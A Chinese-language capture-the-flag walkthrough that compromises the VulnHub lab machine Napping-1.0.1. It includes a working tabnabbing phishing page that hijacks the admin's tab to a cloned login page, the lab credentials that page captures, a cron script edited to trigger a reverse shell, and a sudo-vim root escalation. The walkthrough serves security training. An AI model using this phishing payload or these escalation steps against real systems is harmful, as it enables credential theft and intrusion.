前期准备
1.下载靶机Napping-1.0.1WebGOAT: 1 ~ VulnHub
1.载入vmware,网络模式设置为NAT
kali IP地址为192.168.88.128
靶机 IP地址为192.168.88.129
一 、信息收集
1.使用nnamp扫描器扫描开放的端口
nmap -T4 -sV -p- 192.168.88.129
发现开放了80端口和22远程控制端口
2.寻找web信息
访问后发现需要登录,随即注册账号并登录。
此处指出可以发送自定义的链接,并且所有的链接都将被管理员审核。
我们在此处输入https://www.baidu.com,点击发送
发现此处有个超级链接,点击后跳转到baidu.com。接着查看前端代码。
发现了我们输入的URL被嵌入了该页面并且作为跳转地址,而且target=_blank,表明是在新的地址跳转而且没有审核。综上我们尝试tap nabbing钓鱼攻击。
二、漏洞验证
1.tap nabbing攻击
tap nabbing是钓鱼攻击漏洞的一种类型,也叫做反向标签劫持攻击。
该靶机的应用思路是:该正常页面为A,构造一个链接(B),在B中包含调转地址C(C是我们仿造和A相似的地址)
A:http://192.168.88.129/welcome.php
B :http://192.168.88.128/fish.html
fish.html的内容为:
<!DOCTYPE html> <html> <body> <script> if(window.opener) window.opener.parent.location.replace('http://192.168.88.129:1234/index.html'); if(window.opener != window) window.opener.parent.location.replace('http://192.168.88.129:1234/index.html'); </script> </body> </html>
其中index.html 是从网站下载的首页 wget http://192.168.88.128/index.php(端口随意)
C: http://192.168.88.129:1234/index.html
我们在A页面提交跳转的页面B,该网站的管理员会对其进行审核,也就是当管理员打开B的时候,B中包含的parent.location.replace会将实际访问地址和网页标签替换成C。由于C和A页面是相似的,管理员很容易以为C就是正常A的页面,看到此时是未登录状态,就会输入账号密码登录。如果我们在kali上检测C的1234端口访问记录,那么就会接收到管理员的账号密码,达到钓鱼效果。
简单来说,就是利用了人的心理,人正常会对初次打开的页面有警惕,但是在浏览的过程中,对新跳转的网页失去警惕心,tabnapping就是利用用户暂时离开该网页的时候,把伪造一个相似的网页,诱导用户输入个人信息。
2.实际操作
将fish.html和index.php放入kali的tmp目录,并开启web服务
同时开启1234端口监听
在网页输入http://192.168.88.128/fish.html,并且提交
这个时候等待管理员审核我们提交的网页(该靶机内是设置了访问程序用于模拟该操作)
几分钟后,发现有数据包,数据包下方有管理员的账号密码
username=danielpassword=C@ughtm3napping123
使用该密码远程登录靶机
查找可以越权的文件和命令
sudo -l 没有权限
id 可以看到属于adminstrators组
接着查找adminstrators组可以执行的命令或文件
find / -group administrators -type f 2>/dev/null
发现存在一个python文件,进入该目录下查看
三个文件,user.txt没有权限,site_status.txt是query.py的运行记录,记录了query.py每隔2分钟执行一次。query,py功能是检查虚机状态,可编辑。
思路就出来了,利用query.py文件执行反弹shell命令,反弹一个权限更高的shell。
三 漏洞利用
1 提权
首先在daniel目录下创建tesh.sh文件,写入反弹shell指令
为啥补直接在adrian目录下创建呢,因为没有权限。
接着在query.py下写入执行tesh.sh命令
为啥不直接在py文件中写入python的反弹shell语句呢,我试了,没成功,估计是import问题,在靶机本地库里有os,我们才能成功。写入之后,保存,等待两分钟.
发现反弹回了一个shell。
sudo -l 发现可以vim命令可以免密码执行root权限。那就可以利用vim直接写入shell
写入命令行:sudo /usr/bin/vim -c ':!/bin/sh’
稍等几秒钟,弹出一个shell
id 发现是root权限了
cd /root 发现目录,至此成功